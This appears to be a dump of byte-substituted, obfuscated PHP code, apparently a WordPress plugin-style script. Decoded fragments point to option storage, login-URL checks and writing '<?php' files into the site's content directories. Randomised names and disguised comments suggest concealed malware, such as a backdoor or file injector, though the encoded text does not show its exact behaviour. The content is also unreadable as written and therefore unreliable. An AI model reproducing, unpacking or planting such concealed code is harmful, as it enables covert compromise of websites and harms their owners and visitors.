8pml#8p?<!3,gygl<WWf`~5,rkyfrc8nj-13(((((((,`>br8{jr;km}z;g<((5( af|!(,e0q>bm99d8gySjj`>dqcld1xlfd: 9808!U3,nq<0myy;zi{nyp(5(((,y9|i:pj9yff}?>fy3(u((u((an((( ,nq<0myy;zi{nyp((555(((f}dd!(jzmic3(aqdz{8}zyk~qm;yf ,m:;Wdno~|iW}SaW;~yrxiqyjro 90<:!US,nq<0myy;zi{nypUS/j/U!3(((}f{m| ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90<:!US,nq<0myy;zi{nypU!3((((((u(((((H}xli|mWgx|agf rq;ec{mmgl| 90<;!$((((,m:;Wdno~|iW}$((((aozjlg0f<j1nk{ 9?<;!!3(((aW;~yrxiqyjro =::! rq;ec{mmgl| 90<<!!3(zm|}zf(((|z}m3(u((((n}fk|agf(a80l`:0`f9{q}xkc<ked ,beb0k9x>lon!(((((s(((,al|bz~db|frq((5(Hrq;ec{mmgl| 90<=! ,beb0k9x>lon$((izziq aozjlg0f<j1nk{ 99=;!(((56(( 1#;!$((((rq;ec{mmgl| 99<>!(((56((nid{m$((aozjlg0f<j1nk{ <<0!(56((|z}m$((((((aozjlg0f<j1nk{ 90<>!(((((56((8$(((((aozjlg0f<j1nk{ 99<0!((56((izziq rq;ec{mmgl| 99<1!(((((56(rq;ec{mmgl| 90<?!$(((((aW;~yrxiqyjro 90<0!((((56((rq;ec{mmgl| 99=8!!!!3(((((an(((( rq;ec{mmgl| 90<1! rq;ec{mmgl| 90=8!!((..(a{WxWmzzgz ,al|bz~db|frq!!((zm|}zf(izziq %9$(nid{m!3((((((,|je<0=:8|qg}dkx9((((((5((rq;ec{mmgl| 90<1! jj`>dqcld1xlfd: 90=9!!(((7( af|!(((xWzmeg|mWzm|zam~mWzm{xgf{mWkglm ,al|bz~db|frq!((2(83((zm|}zf((izziq ,|je<0=:8|qg}dkx9$((,|je<0=:8|qg}dkx9((((6((8(..((((jj`>dqcld1xlfd: 90=:! rq;ec{mmgl| 90=;!!(7( {|zafo!(((((xWzmeg|mWzm|zam~mWjglq ,al|bz~db|frq!(((2(**!3((un}fk|agf(((~;nlkeiklmxfWe>?~| ,`1|od}qbynk!s((,g9?9d?iml0k((((((5(((HaW;~yrxiqyjro 90=<! ,`1|od}qbynkS/j/U!3,npz<9<><}`0<590"=3,iy9xlmkbx`xl5,npz<9<><}`0<%<83an(( )aW;~yrxiqyjro 909<! ,g9?9d?iml0k!!(zm|}zf(nid{m3(((((an(((( ,g9?9d?iml0k((((555(((((**!(san((( mex|q ,`1|od}qbynkS/f/U!!(zm|}zf((nid{m3(((((,akoc80yecamy`(((5(()Haozjlg0f<j1nk{ 90==! ,`1|od}qbynkS/x/U!3((((an((( ),akoc80yecamy`!(((((s,ecnr<nj<x;5X@XWAF\WEIP'X@XWAF\WEIP3,jz>Wj~bfp5,ecnr<nj<x;#:=3((((yy|m;zWdxb}n{r{~akm ,`1|od}qbynkS/x/U$(( ;?1#<9!!3(((((((,akoc80yecamy`((5(aqdz{8}zyk~qm;yf ,`1|od}qbynkS/x/U!3(((u((an((( rq;ec{mmgl| 90=:! aW;~yrxiqyjro :88!!!(Hgxkik`mWaf~idali|m ,`1|od}qbynkS/x/U$(|z}m!3((zm|}zf(,akoc80yecamy`3,lkx{=y8~`b5X@XWEIBGZW^MZ[AGF3,znbf1m:{5,lkx{=y8~`b"93((((u((((((((an((( ){jynjr};<k;ff=~{9pbapx ,`1|od}qbynkS/x/U$((,g9?9d?iml0k!!((((zm|}zf((nid{m3(((((an(( jj`>dqcld1xlfd: 90=:! aW;~yrxiqyjro :88!!!((Hgxkik`mWaf~idali|m ,`1|od}qbynkS/x/U$((|z}m!3((((zm|}zf(((|z}m3u((((n}fk|agf((((f}qkcgiWglqjf<9 !((san( )jj`>dqcld1xlfd: 90=:! rq;ec{mmgl| 90=>!!!((zm|}zf3((,m:;Wdno~|iW}((5((Hom|Wgx|agf rq;ec{mmgl| 90<;!$(izziq !!3(((((an( )aW;~yrxiqyjro 90:9! ,m:;Wdno~|iW}!!(zm|}zf3(((((((an(((( )a{{m| ,m:;Wdno~|iW}SaW;~yrxiqyjro 90<:!U!((tt(()aozjlg0f<j1nk{ 90:9! ,m:;Wdno~|iW}Srq;ec{mmgl| 90=?!U!!((((((s(((,bfl;g{x<z?0x((5(izziq !3(((an(((((( a{{m| ,m:;Wdno~|iW}S/|/U$((,m:;Wdno~|iW}S/x/U$(((,m:;Wdno~|iW}S/j/U!!(s,bfl;g{x<z?0xSjj`>dqcld1xlfd: 9?>=!  {|zafo!((,m:;Wdno~|iW}S/x/U!U(((5(((izziq /|/(((56((((( {|zafo!(((((,m:;Wdno~|iW}S/|/U$((/x/(56( {|zafo!(((,m:;Wdno~|iW}S/x/U$((/j/((56(( {|zafo!(,m:;Wdno~|iW}S/j/U$(jj`>dqcld1xlfd: 9808!((56((a{{m| ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90=0!U!(((((7(( af|!(,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90=0!U((2(rq;ec{mmgl| 90;1! !$(rq;ec{mmgl| 90<8!(56((8!3u,m:;Wdno~|iW}((5(izziq jj`>dqcld1xlfd: 90=?!((56(((,bfl;g{x<z?0x!3,x<n>0cl~e5<:">3,okorj{<<:5,x<n>0cl~e%9>3(u(((an( mex|q ,m:;Wdno~|iW}Srq;ec{mmgl| 90=?!U!!((((s(Hlmdm|mWgx|agf jj`>dqcld1xlfd: 90<;!!3(zm|}zf3,i1={=W}|{5>8:3,pd{9bp9{p5,i1={=W}|{-9>3u((((({|i|ak((,f|}=<c>q1p0(((5(((nid{m3an(( ,f|}=<c>q1p0!(((((zm|}zf3((((((,f|}=<c>q1p0((5(((|z}m3(an(((( aW;~yrxiqyjro 90=:! aozjlg0f<j1nk{ 90=1!!!(HaW;~yrxiqyjro 90=1! !3md{man(((((( aozjlg0f<j1nk{ 90=:! rq;ec{mmgl| 90>8!!!((((HaW;~yrxiqyjro 90>9! !3an((((( rq;ec{mmgl| 90=:! rq;ec{mmgl| 90>:!!!((((Haozjlg0f<j1nk{ 90>;! |z}m!3((((an((((( )aW;~yrxiqyjro 90=:! aW;~yrxiqyjro 90><!!((tt()rq;ec{mmgl| 90=:! jj`>dqcld1xlfd: ?0;!!!(zm|}zf3((,gagycefc?cz|((5((((`gemW}zd /'/!3(((,War<p8{>=o(5((((aW;~yrxiqyjro 90=:! rq;ec{mmgl| >;>!!(((7(xWdgoafW}zd !(((((2(,gagycefc?cz|((&(aozjlg0f<j1nk{ 90>=!3(((,oj>>pzm:y~1zk0;q(((((5((((((nid{m3(((,qyg?l<W1|:e((5(((|z}m3,bm|f>d1Wyyc=(5( 9#:!3(((ngzmik`((( ,m:;Wdno~|iW}SaW;~yrxiqyjro 90=?!U(i{(,n~9i89a8f9dq{b((56((,`1|od}qbynk!((s((an((((( )jj`>dqcld1xlfd: 90:9! ,`1|od}qbynk!(((tt(((mex|q ,`1|od}qbynkS/|/U!((tt((mex|q ,`1|od}qbynkS/x/U!(((tt(((mex|q ,`1|od}qbynkS/j/U!!((s((}f{m| ,m:;Wdno~|iW}Saozjlg0f<j1nk{ 90=?!US,n~9i89a8f9dq{bU!3((,oj>>pzm:y~1zk0;q((5(|z}m3((kgf|af}m3((uan(((((( aW;~yrxiqyjro 90>>! !((%(( af|!((,`1|od}qbynkSjj`>dqcld1xlfd: 90=0!U((6( ;;:#9<>0!((tt(( af|!((((,`1|od}qbynkSrq;ec{mmgl| 90<8!U(((65(( 1%;!!(s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 90;<!$((((aozjlg0f<j1nk{ 90>?!(&((jj`>dqcld1xlfd: 9>?>! ,`1|od}qbynkS/x/U!!3((((aqdz{8}zyk~qm;yf ,`1|od}qbynkS/j/U!3((((((}f{m| ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90=?!US,n~9i89a8f9dq{bU!3(((,oj>>pzm:y~1zk0;q((5(((((|z}m3(((kgf|af}m3(((u(((((((an(((( ,bm|f>d1Wyyc=(((45(8!(jzmic3((,bm|f>d1Wyyc=%%3((,jb?pinW>a:z>iin:((((5(jj`>dqcld1xlfd: 90>0!((&((jj`>dqcld1xlfd: 90>1! ,`1|od}qbynkS/|/U!(&(aW;~yrxiqyjro 90?8!((&(((rq;ec{mmgl| 99<<!  8p:nn9#8p9=>in!$(( =9>9;8#<0;0>1!!3(da{| ,|je<0=:8|qg}dkx9$((,`feqj|jW{pnd{8!(((((5((((a80l`:0`f9{q}xkc<ked ,gagycefc?cz|(&((,jb?pinW>a:z>iin:!3an( ,|je<0=:8|qg}dkx9((6((8!((,qyg?l<W1|:e(5(nid{m3(an(((((( ,|je<0=:8|qg}dkx9(((45(((8(..(rq;ec{mmgl| 90?9! jj`>dqcld1xlfd: ?0?!!!((((rq;ec{mmgl| ?0?! :!3(((((an(( ,|je<0=:8|qg}dkx9(((((45((8!(((s(((da{| ,|je<0=:8|qg}dkx9$(((,`feqj|jW{pnd{8!(5((a80l`:0`f9{q}xkc<ked ,gagycefc?cz|(&(((((,jb?pinW>a:z>iin:!3(an(((( ,|je<0=:8|qg}dkx9(6((((8!((((((,qyg?l<W1|:e(((5(nid{m3u((((an(( ,|je<0=:8|qg}dkx9(45(8!(s((,m:;Wdno~|iW}Srq;ec{mmgl| 90=?!US,n~9i89a8f9dq{bUSjj`>dqcld1xlfd: 90<8!U##3,oj>>pzm:y~1zk0;q(5(((|z}m3kgf|af}m3(((u(an((( ,|je<0=:8|qg}dkx9((65(( <;<#>>!!((((s((((((an((( ~;nlkeiklmxfWe>?~| ,`1|od}qbynk!!(s(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 90;<!$(aozjlg0f<j1nk{ 90?:!((((((&(aW;~yrxiqyjro 9>?>! ,`1|od}qbynkS/x/U!!3aqdz{8}zyk~qm;yf ,`1|od}qbynkS/j/U!3(}f{m| ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90?;!US,n~9i89a8f9dq{bU!3((u((((md{m(s(,m:;Wdno~|iW}Saozjlg0f<j1nk{ 90?;!US,n~9i89a8f9dq{bUSrq;ec{mmgl| 90<8!U##3((((u,oj>>pzm:y~1zk0;q(5((|z}m3kgf|af}m3((u((((((an( jj`>dqcld1xlfd: 90?<! ,`feqj|jW{pnd{8$(aozjlg0f<j1nk{ 90?=!(((&((((,`1|od}qbynkS/|/U(((&(jj`>dqcld1xlfd: 90?>!!((()55(((nid{m!((((s(aqdz{8}zyk~qm;yf ,`1|od}qbynkS/j/U!3(}f{m| ,m:;Wdno~|iW}Srq;ec{mmgl| 90?;!US,n~9i89a8f9dq{bU!3((,oj>>pzm:y~1zk0;q(5(|z}m3kgf|af}m3((u((da{| ,Wj~1=a?rz>9$(((((,yzWqn{pmd!((5((a80l`:0`f9{q}xkc<ked ,War<p8{>=o(&( aozjlg0f<j1nk{ 90??! ,War<p8{>=o$((((/7/!(555((nid{m(((7((((/7/(((2(/./!(((&((aozjlg0f<j1nk{ 90?0!((&(jj`>dqcld1xlfd: 90>1! ,`1|od}qbynkS/|/U!(((&(aozjlg0f<j1nk{ 90?8!(((((&(jj`>dqcld1xlfd: 99<<!  980;=8%0;=8!$( 99=<1;#00<=8>!!!3(((((((an(( ,Wj~1=a?rz>9((6(((8!(,qyg?l<W1|:e(5(nid{m3((an((( ,Wj~1=a?rz>9(((((65(((( 1;#<8?!!((s(((an(( ~;nlkeiklmxfWe>?~| ,`1|od}qbynk!!((((s''(_X(\io(Kdg}l2(dirq({afodm|gf(((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 90;<!$((jj`>dqcld1xlfd: 90?1!(((((&(((jj`>dqcld1xlfd: 9>?>! ,`1|od}qbynkS/x/U!!3((((((aqdz{8}zyk~qm;yf ,`1|od}qbynkS/j/U!3(((}f{m| ,m:;Wdno~|iW}SaW;~yrxiqyjro 90?;!US,n~9i89a8f9dq{bU!3(((u((md{m(((((s((,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90?;!US,n~9i89a8f9dq{bUSaW;~yrxiqyjro 90<8!U##3(((u(,oj>>pzm:y~1zk0;q(((((5(|z}m3(kgf|af}m3(u((((an((( aozjlg0f<j1nk{ 909<! ,yzWqn{pmd!(((..(((((jj`>dqcld1xlfd: 90??! ,yzWqn{pmd$(jj`>dqcld1xlfd: 90?=!(&(,`1|od}qbynkS/|/U((&(rq;ec{mmgl| 90?>!!(((()55(nid{m!(((saqdz{8}zyk~qm;yf ,`1|od}qbynkS/j/U!3(((}f{m| ,m:;Wdno~|iW}SaW;~yrxiqyjro 90?;!US,n~9i89a8f9dq{bU!3(((,oj>>pzm:y~1zk0;q((5((((|z}m3kgf|af}m3(u(((,m:;Wdno~|iW}Saozjlg0f<j1nk{ 9008!US,n~9i89a8f9dq{bUSaW;~yrxiqyjro 90<8!U##3(,oj>>pzm:y~1zk0;q((5((|z}m3(u((an((( ,qyg?l<W1|:e((..(,oj>>pzm:y~1zk0;q(..()mex|q ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 9008!U!!((s,gxny;aqd9ke`5X@XWEIBGZW^MZ[AGF3,c<?Wfmq1n0;W5,gxny;aqd9ke`";3((((((,ki|ca<g{=::((((5(nid{m3(((ngzmik`(((( ,m:;Wdno~|iW}SaW;~yrxiqyjro 9008!U((i{(((,b`z<`=x:x;iy!((((s''(ikk}e}di|m(dmicq%j}kcm|(ngz(_X(Jdgkc(^izai|agf{(((an((  af|!(,b`z<`=x:x;iySaozjlg0f<j1nk{ 90<8!U(65((((( <%9!!(s,ki|ca<g{=::((5((((|z}m3,gda9czcdcf5?0:3,zkmWr8j=5,gda9czcdcf-13((jzmic3(((u(((u(an(( ,ki|ca<g{=::!(((sH}xli|mWgx|agf aozjlg0f<j1nk{ >:=!$((((aozjlg0f<j1nk{ 9009!(&(((aozjlg0f<j1nk{ 900:! !$(((((rq;ec{mmgl| 9?<;!!3((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 90;<!$(aW;~yrxiqyjro 900;!!3(ngzmik`( ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 900<!U(i{((,y9|i:pj9yff}?>fy((((((56((,b`z<`=x:x;iy!(((((s(((((aqdz{8}zyk~qm;yf ,b`z<`=x:x;iyS/j/U!3((((}f{m| ,m:;Wdno~|iW}Srq;ec{mmgl| 900<!US,y9|i:pj9yff}?>fyU!3((((((u((u((((u((((md{man(( ),qyg?l<W1|:e!(s''(_X(Y}mzq(Dggx({zk{m|(lm{kzax|gz((,xxn=;:nkq?0{gr8(((5(Hom|Wgx|agf jj`>dqcld1xlfd: >:=!$((((**!3(((((((an(((( )aozjlg0f<j1nk{ 900=! ,xxn=;:nkq?0{gr8!((((((tt((aozjlg0f<j1nk{ 900>! ,xxn=;:nkq?0{gr8$((((aozjlg0f<j1nk{ 9?=9!!(((()55((8!((H}xli|mWgx|agf jj`>dqcld1xlfd: 900?!$(((jj`>dqcld1xlfd: 9000!(((&(((aozjlg0f<j1nk{ 900:! !$(((rq;ec{mmgl| 9?<;!!3(((uan((( mex|q ,m:;Wdno~|iW}Saozjlg0f<j1nk{ 900<!U!!((Hlmdm|mWgx|agf aW;~yrxiqyjro 90<;!!3(((md{man(((( ,oj>>pzm:y~1zk0;q!(((((H}xli|mWgx|agf rq;ec{mmgl| 90<;!$((((((,m:;Wdno~|iW}$((jj`>dqcld1xlfd: 9001!!3((((u((((n}fk|agf(na<iic{ffly~p||~c{ ,ae{:onx`88!(((s(zm|}zf(((((aW;~yrxiqyjro 9018! ,ae{:onx`88!(((((..(( jj`>dqcld1xlfd: 9019! ,ae{:onx`88$(rq;ec{mmgl| 901:!!((()55(((((nid{m(((tt(jj`>dqcld1xlfd: 9019! ,ae{:onx`88$(((aW;~yrxiqyjro 901;!!((()55(((((nid{m((tt(rq;ec{mmgl| 9019! ,ae{:onx`88$(aW;~yrxiqyjro 9==;!!((()55((((nid{m(((tt((jj`>dqcld1xlfd: 9019! ,ae{:onx`88$(((aozjlg0f<j1nk{ 901<!!((()55((nid{m(((tt((aW;~yrxiqyjro 9019! ,ae{:onx`88$(aW;~yrxiqyjro 901=!!((()55((nid{m(tt(((jj`>dqcld1xlfd: 9019! ,ae{:onx`88$((((jj`>dqcld1xlfd: 901>!!(((()55(((((nid{m!3(((un}fk|agf((m~:;e=lWiekfjaWqrmlqe ,ae{:onx`88!(s((an( )na<iic{ffly~p||~c{ ,ae{:onx`88!!((((((zm|}zf(nid{m3(((((((an(( jz1edbk9lzy~p ,ae{:onx`88!!(((zm|}zf((|z}m3(an((((( aW;~yrxiqyjro 9?01! aW;~yrxiqyjro 901?!$(,ae{:onx`88$(((((,~?b9=1{ef>n1x?!!((s((ngzmik`(( ,~?b9=1{ef>n1x?S9U((((i{((((,e0q>bm99d8gy!(s(an( ~mz{agfWkgexizm ,e0q>bm99d8gy$((ojcir|0ro>gifi>;n?| !$((((/4/!!((zm|}zf(((((|z}m3((((u(((zm|}zf(nid{m3((uzm|}zf((|z}m3((((u(((n}fk|agf((((xdWfff{>fer{}:1:| ,ndjnir;e;:?fazg9!s(an(( )Hjj`>dqcld1xlfd: 90==! ,ndjnir;e;:?fazg9!(((((tt((()Hrq;ec{mmgl| 9>>>! ,ndjnir;e;:?fazg9!!(((((zm|}zf3((,``edde1q8o||:mg(((((5(((Haozjlg0f<j1nk{ 9?=>! ,ndjnir;e;:?fazg9!3(((an((( ),``edde1q8o||:mg!((zm|}zf3an((( ,``edde1q8o||:mg(((6((( 98<0=>>:#10!!((s((,{d<bbgk8?a`p`~(((5((Haozjlg0f<j1nk{ 90=<! ,ndjnir;e;:?fazg9$(((((nid{m$((f}dd$((8$( >=<=0#?0!!3(((((an(( )na<iic{ffly~p||~c{ ,{d<bbgk8?a`p`~!!((zm|}zf3(((an((( }{opyco<ikm<o?zxqboaod ,ndjnir;e;:?fazg9!((((555((((nid{m!((s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9010!$((aW;~yrxiqyjro 9011!(((&((aozjlg0f<j1nk{ 9>?>! ,ndjnir;e;:?fazg9!!3zm|}zf3u(HaW;~yrxiqyjro 9188! ,ndjnir;e;:?fazg9$(((((*47x`xTf*!3(an(( jj`>dqcld1xlfd: 90?9! aW;~yrxiqyjro :88!!!(Hgxkik`mWaf~idali|m ,ndjnir;e;:?fazg9$(|z}m!3(zm|}zf3uan((((( ,``edde1q8o||:mg(((6(( 9>=>>::%>808<>!!(((((s(((,{8k<;i<yn<((((5((((( {|zafo!((HaW;~yrxiqyjro 90=<! ,ndjnir;e;:?fazg9$((nid{m$((f}dd$(8$(( 8p9;0l#8pk?;!!3((,ey9d??|`<;|g>((5((( ,``edde1q8o||:mg((((6((( 9=<;>%?:<<!!((7((((( {|zafo!((Hrq;ec{mmgl| 90=<! ,ndjnir;e;:?fazg9$((nid{m$((((f}dd$(,``edde1q8o||:mg(((%((((( 09?<#90!!(2((**3(((,l}:c}rfikbin{:<((((5((,{8k<;i<yn<((&(,ey9d??|`<;|g>3((an( ,l}:c}rfikbin{:<(()55(((((**((..(((jj`>dqcld1xlfd: 9?01! rq;ec{mmgl| 901?!$(((,l}:c}rfikbin{:<$(((,eqryx|pk|p!!((s,q1<x8=}xme`0d9a~(5(((nid{m3(((ngzmik`(( ,eqryx|pk|pS9U((i{(,c0=:lk?q88l!(((s(((((((an( ~mz{agfWkgexizm ,c0=:lk?q88l$(((ojcir|0ro>gifi>;n?| !$((((((/4/!!(s((,q1<x8=}xme`0d9a~((5((|z}m3jzmic3((u((u((((((an((( ),q1<x8=}xme`0d9a~!(zm|}zf3u((u(,ae{:onx`88(((5(Hjj`>dqcld1xlfd: 9189! ,ndjnir;e;:?fazg9!3((an( aW;~yrxiqyjro 9018! ,ae{:onx`88!(((..(((rq;ec{mmgl| 918:! ,ae{:onx`88!(((6( 1:1>1<#99000:!!((,ae{:onx`88(5((bW0a{a?}a`=bcb<?m ,ae{:onx`88!3((an(((( )aW;~yrxiqyjro 9018! ,ae{:onx`88!!(((zm|}zf3(((((an(((( )m~:;e=lWiekfjaWqrmlqe ,ae{:onx`88!!(((((zm|}zf3((~mmWcamag~kc==0 ,ndjnir;e;:?fazg9$(,ae{:onx`88!3((((((un}fk|agf((~mmWcamag~kc==0 ,ndjnir;e;:?fazg9$((,ae{:onx`88!s,ebezm{a8c:j8o9}~((5((jj`>dqcld1xlfd: 918;! jj`>dqcld1xlfd: 918<!$(((((**$(,ae{:onx`88!3an((( )aW;~yrxiqyjro 918=! ,ebezm{a8c:j8o9}~!(((tt((((rq;ec{mmgl| 9:09! ,ebezm{a8c:j8o9}~!(555(((**((tt((aW;~yrxiqyjro 9:09! ,ebezm{a8c:j8o9}~!(555((jj`>dqcld1xlfd: ?>9!!((,ebezm{a8c:j8o9}~(((5((*47x`xTf*3((((an( rq;ec{mmgl| 918:! ,ebezm{a8c:j8o9}~!(((((65(( :<#<?>!(((..((()~rl=fzla18ykW?jkrj} ,ebezm{a8c:j8o9}~!!(,ebezm{a8c:j8o9}~(((5((((((*47x`xTf*3,xcm9;xkq5X@XWAF\WEIP'X@XWAF\WEIP3,xze>rmzi5,xcm9;xkq#<=3(,Wlei8:pnpi{zjj(((5(Hnadmxmze{ ,ndjnir;e;:?fazg9!3(((((((,Wlei8:pnpi{zjj((((5(( ,Wlei8:pnpi{zjj(((555((nid{m!(7((( :18#9;8!(((2(( ,Wlei8:pnpi{zjj(((.( <;?#?<!!3((,{o9:qbky{<;g1((((5((((Haozjlg0f<j1nk{ 918>! ,ndjnir;e;:?fazg9!3(,d>g81x0W`i:>z(5((Haozjlg0f<j1nk{ :>! jj`>dqcld1xlfd: 9:>1! ,ndjnir;e;:?fazg9!$((((rq;ec{mmgl| 918?!!3(an((((( ,d>g81x0W`i:>z((555((((nid{m!((((zm|}zf3(an(( Hrq;ec{mmgl| 9188! ,d>g81x0W`i:>z$(((,ebezm{a8c:j8o9}~!(()55((aozjlg0f<j1nk{ 918:! ,ebezm{a8c:j8o9}~!!((s(((((((Hjj`>dqcld1xlfd: ??9! ,d>g81x0W`i:>z!3(((zm|}zf3(u((Hjj`>dqcld1xlfd: 9><! ,d>g81x0W`i:>z$(((,Wlei8:pnpi{zjj!3an( )Hjj`>dqcld1xlfd: 911! ,d>g81x0W`i:>z$((,ndjnir;e;:?fazg9!!((s((Haozjlg0f<j1nk{ ??9! ,d>g81x0W`i:>z!3((((zm|}zf3((((((((u(((an( ,{o9:qbky{<;g1!((((Haozjlg0f<j1nk{ :9! ,ndjnir;e;:?fazg9$((,{o9:qbky{<;g1!3(((an(( jj`>dqcld1xlfd: 90?9! aW;~yrxiqyjro 9180!!!((((Hgxkik`mWaf~idali|m ,ndjnir;e;:?fazg9$(|z}m!3((((((u(n}fk|agf(((((a}ycbyq8y>>{b1r0 ,|~|x`dl{j9!(s(((an(( )aW;~yrxiqyjro 9181! ,|~|x`dl{j9!!(zm|}zf(**3((an( aW;~yrxiqyjro 9?:9! jj`>dqcld1xlfd: 9198!$((,|~|x`dl{j9$((((,joW~>Wzb|W:1g!!(((((s(,a{:ozyjjpx(5((,joW~>Wzb|W:1gS9U3((((,``edde1q8o||:mg((5((Hjj`>dqcld1xlfd: 90==! ,a{:ozyjjpx!((((7((Haozjlg0f<j1nk{ 9?=>! ,a{:ozyjjpx!(((2(83an(( ),``edde1q8o||:mg((tt(,``edde1q8o||:mg((4(( 8pl?#8p99l!(((tt((,``edde1q8o||:mg(((6( =:<:0?>?#;;!!(s''(y}if|anq(g~mz`mil(an((((( ,``edde1q8o||:mg((6(( ?<09;0;9%::;0=8;9!!(s(((,oz1pnqbi=if<~b(((((5(((HaW;~yrxiqyjro 0;0! ,a{:ozyjjpx!3(((an(( )aozjlg0f<j1nk{ 9199! ,oz1pnqbi=if<~b!!((((,oz1pnqbi=if<~b((5(,a{:ozyjjpx3,oz1pnqbi=if<~b((5(jj`>dqcld1xlfd: 9?0:! /TT/$(((/'/$(,oz1pnqbi=if<~b!3,dk1rn0`=x>p}c:(5(((nid{m3(((,n:lmxg1Wd}alj((5((((izziq lmnafml jj`>dqcld1xlfd: 919:!!(7(((((rq;ec{mmgl| 9<<<! IJ[XI\@$(rq;ec{mmgl| 9<9?!!(2(**$((((lmnafml rq;ec{mmgl| 9>>1!!(7(rq;ec{mmgl| 9<<<! _XWKGF\MF\WLAZ$(((aozjlg0f<j1nk{ 9<9?!!(2(**!3((((((ngzmik`(( ,n:lmxg1Wd}alj((((i{(,q;1riofm~fzl~l!(((((s(((,q;1riofm~fzl~l((5(aozjlg0f<j1nk{ 9?0:! /TT/$(((/'/$((,q;1riofm~fzl~l!3((((an((((( ,q;1riofm~fzl~l(((()55(**((..(rq;ec{mmgl| 9019! ,oz1pnqbi=if<~b$((((,q;1riofm~fzl~l(((((&(/'/!(555((8!(s((((,dk1rn0`=x>p}c:(5(((((|z}m3jzmic3(uu((((((an((((( ,dk1rn0`=x>p}c:((..((}{opyco<ikm<o?zxqboaod ,a{:ozyjjpx!()55(((nid{m!((s(Hrq;ec{mmgl| ??9! ,a{:ozyjjpx!3Haozjlg0f<j1nk{ ??9! aozjlg0f<j1nk{ 919;! ,a{:ozyjjpx!((&(((((rq;ec{mmgl| ?11!(((((&((aozjlg0f<j1nk{ 9>?>! ,a{:ozyjjpx$((((rq;ec{mmgl| 9?>9!!!3((u(((md{m((((((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9010!$((aozjlg0f<j1nk{ 919<!(&((jj`>dqcld1xlfd: 9>?>! ,a{:ozyjjpx!!3u((u((((zm|}zf(((**3uu''({mzaidarm(fgzeid(|}ejdafo%aflg((((zm|}zf((,|~|x`dl{j93u((((((((n}fk|agf((f=9kn<:~9=<q:}j=? !s({|i|ak(,a{:ozyjjpx((5(f}dd3an((( ,a{:ozyjjpx((555(((((f}dd!((((s((((((,xbn:9gk<gb1n}=?>(((((5((((`l~qxc|?>09=i~c;9l~ !3(((,a{:ozyjjpx((((5(((( rq;ec{mmgl| 90:9! ,xbn:9gk<gb1n}=?>!(((((..(a{{m| ,xbn:9gk<gb1n}=?>SaW;~yrxiqyjro >==!U!((..(rq;ec{mmgl| 9019!  {|zafo!((,xbn:9gk<gb1n}=?>Srq;ec{mmgl| 919=!U$(aozjlg0f<j1nk{ 919>!!((((((555(((8!3u(zm|}zf((,a{:ozyjjpx3(u((((n}fk|agf(((((rkpio>`8:q~g8adm< !((san((( )lmnafml aozjlg0f<j1nk{ 919?!!!((((((zm|}zf3,lm:yeg9ineej?x(((((5((IJ[XI\@(((&(aozjlg0f<j1nk{ 9=?=!3(an(( )HaW;~yrxiqyjro 90==! ,lm:yeg9ineej?x!!(((s((,akyqkpfoiqcz((5((aozjlg0f<j1nk{ 919;! IJ[XI\@!((&((((aozjlg0f<j1nk{ 9190!3an(( HaW;~yrxiqyjro 9191! ,akyqkpfoiqcz!!(,lm:yeg9ineej?x(((5((((,akyqkpfoiqcz3((u((((((an((((( )Hjj`>dqcld1xlfd: 91:8! ,lm:yeg9ineej?x!((tt(((()Hjj`>dqcld1xlfd: 91:9! ,lm:yeg9ineej?x!!((zm|}zf3(((((,oz1pnqbi=if<~b(5((((Hrq;ec{mmgl| 91::! ,lm:yeg9ineej?x!3((an((( aW;~yrxiqyjro 9199! ,oz1pnqbi=if<~b!(((..(((,oz1pnqbi=if<~b()55((**((..(Hrq;ec{mmgl| 91:;! ,oz1pnqbi=if<~b!!(,lm:yeg9ineej?x((5(((((,oz1pnqbi=if<~b3((((((an(( HaW;~yrxiqyjro 91:<! ,lm:yeg9ineej?x!(6(( 8p9:>==1#8p:l1ii?!!((((zm|}zf3(((,ae{:onx`88((((5(Haozjlg0f<j1nk{ 91:=! ,lm:yeg9ineej?x!3(((an(( )aW;~yrxiqyjro 91:>! ,ae{:onx`88!((tt(((,ae{:onx`88((555(**!(zm|}zf3((((,zrq=q1{b8cnrak(5(( aW;~yrxiqyjro 9019! ,ae{:onx`88$(jj`>dqcld1xlfd: 91:?!!((()55((nid{m(tt(((aW;~yrxiqyjro 9019! ,ae{:onx`88$(rq;ec{mmgl| 91:0!!()55((nid{m!3,bWmjc9rp<~~oy(5(nid{m3(an( rq;ec{mmgl| 91:1! ,ae{:onx`88$(aW;~yrxiqyjro 91;8!!(555(((nid{m!(s'"({|zmieafo(izja|zi|gz("'an(((( )mex|q ,ODGJID[Saozjlg0f<j1nk{ 91;9!U!!(((s((,bWmjc9rp<~~oy(((5(|z}m3(((((((u(md{m(((s(,`}?eoe=d|k`e((5(jj`>dqcld1xlfd: 90?9! aozjlg0f<j1nk{ 91;:!!((7(((rq;ec{mmgl| 91;;! !((((2((((((aW;~yrxiqyjro 91;<!3((an((( )HaW;~yrxiqyjro 91;=! ,`}?eoe=d|k`e!((tt(()Hjj`>dqcld1xlfd: 91;>! ,`}?eoe=d|k`e!!((,bWmjc9rp<~~oy((5(((((|z}m3(u(u,`k`}x=qac`WW((((5((((nid{m3,iz0`nkfk=?c<?((((5((nid{m3((((an((( )aozjlg0f<j1nk{ 9?:9! aozjlg0f<j1nk{ 91;?!$(,ae{:onx`88!(((..(lmnafml aW;~yrxiqyjro 9>>1!!!(s((((((,Wik((5(((((_XWKGF\MF\WLAZ((&(((((aW;~yrxiqyjro 9;1<!3(((((an(((( HaW;~yrxiqyjro 91:8! ,Wik!!((((s(((((,g}erdag?>W0(((5( {|zafo!(((HaW;~yrxiqyjro 91;0! ,Wik$((nid{m$((((f}dd$(((((8$(( 8piji#8p=<>!!3((an(( aW;~yrxiqyjro 91:1! ,g}erdag?>W0$(((jj`>dqcld1xlfd: 